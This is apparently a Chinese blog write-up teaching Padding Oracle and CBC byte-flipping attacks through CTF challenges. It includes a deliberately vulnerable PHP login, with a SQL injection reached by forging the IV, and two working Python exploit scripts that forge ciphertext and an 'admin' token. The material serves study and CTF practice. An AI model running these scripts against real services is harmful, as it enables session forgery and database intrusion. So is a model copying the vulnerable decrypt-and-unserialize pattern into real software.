Padding Oracle 和 CBC字节翻转攻击学习

以前一直没时间来好好研究下这两种攻击方式,虽然都是很老的点了= =!

0x01:Padding oracle

 CBC加密模式为分组加密,初始时有初始向量,密钥,以及明文,明文与初始向量异或以后得到中间明文,然后其再和密钥进行加密将得到密文,得到的密文将作为下一个分组的初始向量,与下一个分组的明文进行异或得到的二组的中间明文,依次类推。

解密时根据也是分组解密,首先使用密钥解密密文,得到中间明文,然后将中间明文和初始向量异或以后得到明文,第一组的密文将和第二组的明文进行异或得到第二组的中间明文,然后再用密钥进行解密得到第二组的明文,依次类推

攻击流程:

明文填充:

分组密码Block Cipher需要在加载前确保每个每组的长度都是分组长度的整数倍。一般情况下,明文的最后一个分组很有可能会出现长度不足分组的长度:

 

这个时候,普遍的做法是在最后一个分组后填充一个固定的值,这个值的大小为填充的字节总数。即假如最后还差3个字符,则填充3个0×03

 因为填充发生在最后一个分组,所以我们主要关注最后一个分组

这里有个条件是服务器会对我们显示padding error的异常,如果不回显那么肯定无法判断进行利用

比如在web应用中,如果Padding不正确,则应用程序很可能会返回500的错误(程序执行错误);如果Padding正确,但解密出来的内容不正确,则可能会返回200的自定义错误(这只是业务上的规定),所以,这种区别就可以成为一个二值逻辑的”注入点”。

攻击成立的两个重要假设前提:

1. 攻击者能够获得密文(Ciphertext),以及附带在密文前面的IV(初始化向量)
2. 攻击者能够触发密文的解密过程,且能够知道密文的解密结果

我们的攻击流程实际上是不断地调整IV的值,以希望解密后,最后一个字节的值为正确的Padding Byte,因为padding正确时,这里padding正确是指最终解密并异或出来的明文最后一个字节在正确padding的范围内就是正确的,虽然最后明文不一定正确,但是padding是合法的,所以服务器才会返回200

此时若我们输入的初始向量为:

这时候最后一组密文经过密钥解密后再和我们输入的初始向量异或以后将得到

最后一位是0x3d,明显不满足padding的范围,所以肯定会返回500,那么此时假设padding为0x01,那么通过遍历初始向量最后一位将存在唯一一个初始向量值将于服务端解密得到的中间值异或以后得到0x01,直接遍历

IV值就可以得到该值,之后我们就可以利用以下的公式

因此可以求出明文第八个字节,之后我们需要继续求出其第七个字节的明文值,那么此时假设填充了两个字节,那么为0x02,0x02,此时我们需要更新最后一位要输入的IV值为中间值第八位异或上0x02(第八位中间值根据明文第八位异或上原来的IV值第八位即可得到),因为此时我们便利的后两位IV值,此时服务器期望得到是0x02

此时继续遍历第七位IV值,直到得到0x02,此时可以得到明文第七位,依次类推可以得到所有的明文。

0x02: CBC字节翻转攻击

对于解密过程而言,我们已经可以通过Padding Oracle攻击获取CBC模式加密的明文,此时我们可以通过CBC字节翻转攻击来实现伪造的明文,因为IV是我们可控的,我们可以控制IV,使其与中间明文异或后得到我们任意想要的明文

加入我们已知明文解密后为1dmin,我们想构造一个初始IV,使其解密成admin,因为有以下的逻辑:

而我们想要:

所以我们可以得到

而原来的中间明文可以通过以下方式得到,原来的明文第一位又是可以通过Padding Oracle攻击得到的

所以够在的IV第一位即为:

通过上面的式子,通过遍历明文,我们就可以让服务器端解密出我们想要的明文

CTF题目举例:

服务端校验身份标志为$id,所以可以利用padding oracle攻击去得到这个值的明文,得到这个值后,再利用cbc翻转攻击,将这个plain伪造成我们需要的admin

以实验吧的一道CBC翻转的题目为例:

源码:

<?php 
define("SECRET_KEY", '***********');
define("METHOD", "aes-128-cbc");
error_reporting(0);
include('conn.php');
function sqliCheck($str){
    if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)){
        return 1;
    }
    return 0;
}
function get_random_iv(){
    $random_iv='';
    for($i=0;$i<16;$i++){
        $random_iv.=chr(rand(1,255));
    }
    return $random_iv;
}
function login($info){
    $iv = get_random_iv();
    $plain = serialize($info);
    $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
    setcookie("iv", base64_encode($iv));
    setcookie("cipher", base64_encode($cipher));
}
function show_homepage(){
    global $link;
    if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
        $cipher = base64_decode($_COOKIE['cipher']);
        $iv = base64_decode($_COOKIE["iv"]);
        if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
            $info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
            $sql="select * from users limit ".$info['id'].",0";
            $result=mysqli_query($link,$sql);
            
            if(mysqli_num_rows($result)>0  or die(mysqli_error($link))){
                $rows=mysqli_fetch_array($result);
                echo '<h1><center>Hello!'.$rows['username'].'</center></h1>';
            }
            else{
                echo '<h1><center>Hello!</center></h1>';
            }
        }else{
            die("ERROR!");
        }
    }
}
if(isset($_POST['id'])){
    $id = (string)$_POST['id'];
    if(sqliCheck($id))
        die("<h1 style='color:red'><center>sql inject detected!</center></h1>");
    $info = array('id'=>$id);
    login($info);
    echo '<h1><center>Hello!</center></h1>';
}else{
    if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])){
        show_homepage();
    }else{
        echo '<body class="login-body" style="margin:0 auto">
                <div id="wrapper" style="margin:0 auto;width:800px;">
                    <form name="login-form" class="login-form" action="" method="post">
                        <div class="header">
                        <h1>Login Form</h1>
                        <span>input id to login</span>
                        </div>
                        <div class="content">
                        <input name="id" type="text" class="input id" value="id" onfocus="this.value=\'\'" />
                        </div>
                        <div class="footer">
                        <p><input type="submit" name="submit" value="Login" class="button" /></p>
                        </div>
                    </form>
                </div>
            </body>';
    }
}

首先将$_POST中的id参数传入login函数进行加密,iv是随机的16进制字符串,明文是序列化后的$info变量,其中$info变量是包含$id参数的数组,

然后使用CBC模式对其进行加密,然后将IV值和密文base64编码以后返回给客户端,如果没有post过去id参数,将调用show_homepage函数,此时将密文进行解密并反序列化后传递给$info,这里要通过sql注入查出数据才行,但是$id处有waf,所以必须通过构造IV来使解密出的明文中出现注入payload来拼接进sql语句,正常的id参数查不出数据是因为那里是limit id,0,零条数据,所以只需要最后的payload为1#注释掉即可

所以可以首先post一个id=10参数

将得到

iv=PxuF5ruZTSyyT%2FgbLaLtAQ%3D%3D
cipher=j3UwMobjznjdxF6BMMDEcMMROOqlCBWzCt6I5Wewru8%3D

 此时就可以针对此回显的IV值进行攻击,来构造新的IV值,首先我们要构造出进入加密函数的明文:

$id = (string)$_POST['id'];
$info = array('id'=>$id);
function login($info){
    $iv = get_random_iv();
    $plain = serialize($info);
    $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
    setcookie("iv", base64_encode($iv));
    setcookie("cipher", base64_encode($cipher));
}

所以我们可以构造出id的序列化数据:

a:1:{s:2:"id";s:2:"10";}

因为IV为16个字节,因此我们将明文以16字节为一组进行分组

a:1:{s:2:"id";s:  //第一组
2:"10";}          //第二组

我们需要更改的是第二组的第五位字符,即将0替换成#,所以首先应该更改第一组密文的对应位,将得到新的密文

可以利用公式1:

然后将得到的密文和之前的原始IV一起发送,此时因为更改了第一组密文的一位,将导致第一组密文解密后无法反序列化,因为此时解密出来的明文也随之发生了变化,因此我们需要更改IV来使其不变,所以遍历第一组

密文,然后根据公示1来进行构造,其中明文就是服务器端解密返回并输出的

根据自己的理解写的exp:

#coding:utf-8
import base64
import urllib
iv="MhmPZk6p8ZbW0MipFeIwlA%3D%3D"
iv=urllib.unquote(iv)
iv=base64.b64decode(iv)
offset = 4
ciper="gcrKiWF6uRNNuYRjM%2FJPYHGoPTPZ1OpOajvZ6UfVMvY%3D"
ciper = urllib.unquote(ciper)
ciper = base64.b64decode(ciper)
block_1 = 'a:1:{s:2:"id";s:'
block_2 = '2:"10";}'
new_block_offet_4 = chr(ord(ciper[4]) ^ ord(block_2[4]) ^ ord("#"))
new_ciper = ciper[:4]+new_block_offet_4+ciper[5:]
new_ciper = urllib.quote(base64.b64encode(new_ciper))
print new_ciper

plain="qvttg/CIu9gp3DGoR+mCETI6IjEjIjt9"
plain=base64.b64decode(plain)
new_iv = ""
for i in range(16):
    new_iv = new_iv + chr(ord(plain[i]) ^ ord(block_1[i]) ^ ord(iv[i]))
new_iv= urllib.quote(base64.b64encode(new_iv))
print new_iv

最后放一个LCTF2017上一个Padding oracle+CBC 字节翻转的脚本,上面有自己的注解:

# -*- coding: utf-8 -*-
import requests
import base64
url = 'http://127.0.0.1/cbc.php'
N = 16

def inject_token(token):
    header = {"Cookie": "PHPSESSID=" + phpsession + ";token=" + token}
    result = requests.post(url, headers = header)
    return result

def xor(a, b):
    return "".join([chr(ord(a[i]) ^ ord(b[i % len(b)])) for i in xrange(len(a))])

def pad(string, N):
    l = len(string)
    if l != N:
        return string + chr(N - l) * (N - l)

def padding_oracle(N):
    get = ""
    for i in xrange(1, N+1):
        for j in xrange(0, 256):
            padding = xor(get, chr(i) * (i-1))#此时更新padding的值,更新要发送的对应位置的明文位所对应的IV值
            c = chr(0) * (16-i) + chr(j) + padding #chr(j)就是每次要新尝试的填充值
            result = inject_token(base64.b64encode(c))
            if "Error!" not in result.content:  #如果没有padding错误,padding错误将返回"Error"
                get = chr(j ^ i) + get  #包含所有中间明文,每次得到一位得到中间明文,此时得到的IV值(即c)和中间明文异或以后满足padding,两个值异或后再和原来的iv进行异或即可得到
                #对应位置明文
                break
    return get

while 1:
    session = requests.get(url).headers['Set-Cookie'].split(',')
    phpsession = session[0].split(";")[0][10:]
    print phpsession
    token = session[1][6:].replace("%3D", '=').replace("%2F", '/').replace("%2B", '+').decode('base64')
    middle1 = padding_oracle(N)
    print "\n"
    if(len(middle1) + 1 == 16):
        for i in xrange(0, 256):
            #因为后十五位都可以通过Padding Oracle Attack正常的解出,
            #但是在解第一位时按逻辑应该解出全为padding的plaintext(在这个环境下也就是16个0x10),即解密的结果为NULL
            middle = chr(i) + middle1
            print "token:" + token
            print "middle:" + middle
            plaintext = xor(middle,token)
            print "plaintext:" + plaintext
            des = pad('admin', N)
            tmp = ""
            print des.encode("base64")
            for i in xrange(16):
                tmp += chr(ord(token[i]) ^ ord(plaintext[i]) ^ ord(des[i]))
            print tmp.encode('base64')
            result = inject_token(base64.b64encode(tmp))
            if "You are admin!" in result.content:
                print result.content
                print "success"
                exit()

参考:

https://skysec.top/2017/12/13/padding-oracle%E5%92%8Ccbc%E7%BF%BB%E8%BD%AC%E6%94%BB%E5%87%BB/

http://www.freebuf.com/articles/web/15504.html


posted @ 2019-07-03 08:27  tr1ple  阅读(2000)  评论(0编辑  收藏  举报